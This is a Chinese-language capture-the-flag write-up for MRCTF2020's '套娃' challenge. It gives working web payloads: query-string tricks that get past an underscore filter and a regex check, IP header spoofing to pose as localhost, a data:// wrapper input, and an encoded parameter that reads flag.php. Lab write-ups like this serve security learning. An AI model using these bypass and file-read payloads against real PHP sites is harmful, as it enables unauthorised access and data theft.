[MRCTF2020]套娃

查看源码：

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
!-->
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$_SERVER[‘QUERY_STRING’]用于获取url中的参数,例如www.xxx.com/?a=1 获取到的就是a=1

substr_count用于获取字符串中包含子串的个数
第一个if
要求参数中不包含_ 和%5f
绕过：利用PHP的字符串解析特性Bypass

可以使用空格，.，%5F绕过，也就是说我们参数如果是?b u p t的话 变量名会被解析为为b_u_p_t

第二个if
要求传入的b_u_p_t参数不能为23333 但是正则又必须匹配以23333为开头和结尾
/^23333$/这里的正则匹配是开头和结尾进行匹配。可以使用%0a即换行符进行绕过，也就是说输入?a=flag%0a, preg_match会返回true

payload:?b.u.p.t=23333%0a %5F和空格也可以

得到提示，访问secrettw.php

在源码中又发现：

<!--
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-->
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JsFuck加密
解密得到：
提交一个post参数Merak

回显了源码：

 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."
";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 
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注意 include flag.php flag应该就在这里，我们的任务就是读取出flag.php的内容

第一个if
判断ip是否为127.0.0.1
第二个if
ip为127.0.0.1
在请求包中尝试添加下列字段中的某个即可

CLIENT-IP: 
X-FORWARDED-FOR: 
X-REAL-IP:
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然后判断2333参数的值经过file_get_contents获取到的内容要为todat is a happy day，这里考察的是php的伪协议，可以利用data协议进行绕过
即：2333=data://text/plain,todat is a happy day

然后传入的file参数会经过change函数的处理
分析change函数：

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
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先对参数进行base64解码，然后遍历字符串，先将每一个字符使用ord转为ascii码，然后加上该字符的位置对应的数字的2倍，然后再使用chr函数将这个值转换为ascii码，最后拼接在一起形成新的字符串

通过change函数处理后，再使用file_get_contents读取内容。所以应该使得change函数处理后的输出为flag.php
反其道而行之，编写反向加密函数：

$re = "flag.php";

function decrypt($re){
    $v = "";
    for($i=0;$i<strlen($re);$i++){
        $v.=chr(ord($re[$i])-$i*2);
    }
    $v=base64_encode($v);
    echo $v;
}
decrypt($re);
?>
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得到payload为：file=ZmpdYSZmXGI=
这样经过change函数处理后输出为flag.php

最终payload:?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

这里就直接get方式请求就行，因为post参数Merak只是为了获取源码